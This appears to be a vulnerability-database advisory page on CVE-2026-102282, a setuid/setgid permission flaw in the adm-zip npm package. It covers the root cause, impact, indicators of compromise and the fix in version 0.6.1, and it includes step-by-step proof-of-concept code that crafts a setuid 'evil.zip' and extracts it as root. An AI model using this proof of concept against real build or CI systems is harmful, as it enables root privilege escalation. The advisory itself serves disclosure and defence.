Vulnerability DatabaseCVE-2026-102282

CVE-2026-102282: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-102282 is a privilege escalation vulnerability in the adm-zip npm package (versions ≤ 0.6.0) caused by incorrect permission assignment when extracting ZIP archives. When keepOriginalPermission=true is passed to extractAllTo() or extractEntryTo(), the library applies Unix permission bits from the ZIP entry's external file attributes — including setuid (0o4000), setgid (0o2000), and sticky bits — directly to extracted files via fs.chmodSync() without filtering. An attacker who can supply a crafted ZIP file can cause a root-owned setuid binary to be created on disk when extraction runs as root, enabling local privilege escalation. The vulnerability was discovered and published on September 11, 2026, and added to the GitHub Advisory Database on September 29, 2026. It carries a CVSS v3.1 base score of 7.1 (High) (GitHub Advisory).

Technical details

The root cause is CWE-732 (Incorrect Permission Assignment for Critical Resource): the fileAttr getter in headers/entryHeader.js uses the mask 0xfff (0o7777), which preserves all special Unix permission bits from attacker-controlled ZIP metadata:

// headers/entryHeader.js:187
get fileAttr() { return (_attr || 0) >> 16 & 0xfff; }

This value is passed directly to fs.chmodSync() with no stripping of the 0o7000 special bits. The attack vector is local — an attacker must be able to supply a malicious ZIP file to a pipeline or service that extracts it as root with keepOriginalPermission=true. Directory entries are also affected: a setgid bit on a directory entry carries over, causing group inheritance for new files created within it. The precondition is that the extraction process runs as root (common in Docker builds, CI runners, and privileged install steps) and the keepOriginalPermission flag is explicitly enabled (GitHub Advisory, Repo Advisory).

Impact

Successful exploitation allows an unprivileged user to execute arbitrary code as root by running a root-owned setuid binary planted by the attacker during a privileged extraction step. The primary impact is high confidentiality and high integrity loss — an attacker gains full control over the host system, enabling data exfiltration, credential theft, and lateral movement within the environment. Availability is not directly impacted by the vulnerability itself. The risk is highest in Docker build pipelines and CI/CD environments where extraction as root is the default posture and the resulting filesystem artifacts are later used by lower-privileged runtime users (GitHub Advisory).

Exploitability

A proof-of-concept is publicly documented in the GitHub Security Advisory, demonstrating that a malicious ZIP can be crafted using standard Python tooling (no adm-zip APIs required) and extracted to produce a setuid-root binary. As of the advisory publication date, there is no evidence of in-the-wild exploitation, no known threat actor attribution, and the CVE status remains "Reserved." The vulnerability is not listed in the CISA KEV catalog. No EPSS score is currently available. Exploitation requires the attacker to supply a ZIP file to a process that extracts it as root with keepOriginalPermission=true, which limits the attack surface to specific deployment patterns (GitHub Advisory, Repo Advisory).

Exploitation steps

  1. Craft a malicious ZIP: Use Python's zipfile module to create a ZIP archive containing a shell script with the setuid bit set in its external file attributes:
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr(zi, '#!/bin/sh\nid\n')
  1. Deliver the ZIP: Supply the crafted evil.zip to the target application or pipeline via an upload endpoint, a fetched dependency archive, or a build artifact — no special privileges are needed to create the file.
  2. Trigger privileged extraction: Cause the target Node.js application (running as root, e.g., in a Docker build or CI runner) to extract the archive with keepOriginalPermission=true:
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/output', true, true);
  1. Verify setuid bit: Confirm the extracted file has mode 04755 (root-owned, setuid set):
const fs = require('fs');
console.log((fs.statSync('/output/pysuidbin').mode & 0o7777).toString(8)); // => 4755
  1. Execute as unprivileged user: When a lower-privileged application user or service account later executes the planted binary (e.g., as part of the runtime environment), the attacker's shell script runs with root privileges (GitHub Advisory, Repo Advisory).

Indicators of compromise

  • File System: Extracted files with setuid (04xxx) or setgid (02xxx) permission bits in directories written by Node.js/adm-zip processes; unexpected shell scripts or binaries owned by root with world-execute and setuid permissions in extraction output directories (e.g., /tmp/out/, build artifact directories).
  • Process: Unexpected privileged processes (running as UID 0) spawned by unprivileged application users or service accounts; shell processes (/bin/sh, /bin/bash) with effective UID 0 launched from non-root parent processes.
  • Logs: Node.js application logs showing extractAllTo() or extractEntryTo() calls with keepOriginalPermission=true on externally supplied ZIP files; fs.chmodSync() calls setting modes above 0o777 in Node.js process traces.
  • Network: Unexpected outbound connections from build or CI environments following ZIP extraction steps, potentially indicating post-exploitation activity.

Mitigation and workarounds

Upgrade adm-zip to version 0.6.1, which fixes the vulnerability by changing the fileAttr getter mask from 0xfff (0o7777) to 0o777, stripping all special permission bits before applying them to extracted files (adm-zip v0.6.1, Fix Commit). As an immediate workaround for those unable to upgrade, avoid passing keepOriginalPermission=true to extractAllTo() or extractEntryTo() when processing untrusted ZIP files, or ensure extraction never runs as root. Additionally, apply a umask or post-extraction permission normalization step to strip setuid/setgid bits from all extracted files.

Community reactions

The vulnerability was reported by security researcher Ahmed-Elmahgob and published as a GitHub Security Advisory (GHSA-j5f4-cc29-5x44) by the cthackers/adm-zip maintainer on September 11, 2026. The fix was included in the v0.6.1 release alongside several other security improvements, including symlink traversal blocking, duplicate entry name rejection, and decompression size cap enforcement (adm-zip v0.6.1). No significant broader media coverage or notable community commentary beyond the advisory itself has been identified at this time.

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gg6r-gp4c-89hpCRITICAL9.2
  • JavaScript logoJavaScript
  • trigger.dev
NoYesOct 02, 2026
GHSA-pqxw-g93w-hj9xHIGH8.1
  • JavaScript logoJavaScript
  • trigger.dev
NoYesOct 02, 2026
GHSA-9q4r-4842-93vwHIGH7.7
  • JavaScript logoJavaScript
  • trigger.dev
NoYesOct 02, 2026
GHSA-fj2x-mqqp-3v2wMEDIUM5.5
  • JavaScript logoJavaScript
  • trigger.dev
NoYesOct 02, 2026
GHSA-4672-hwv6-gq62MEDIUM5.4
  • JavaScript logoJavaScript
  • trigger.dev
NoYesOct 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management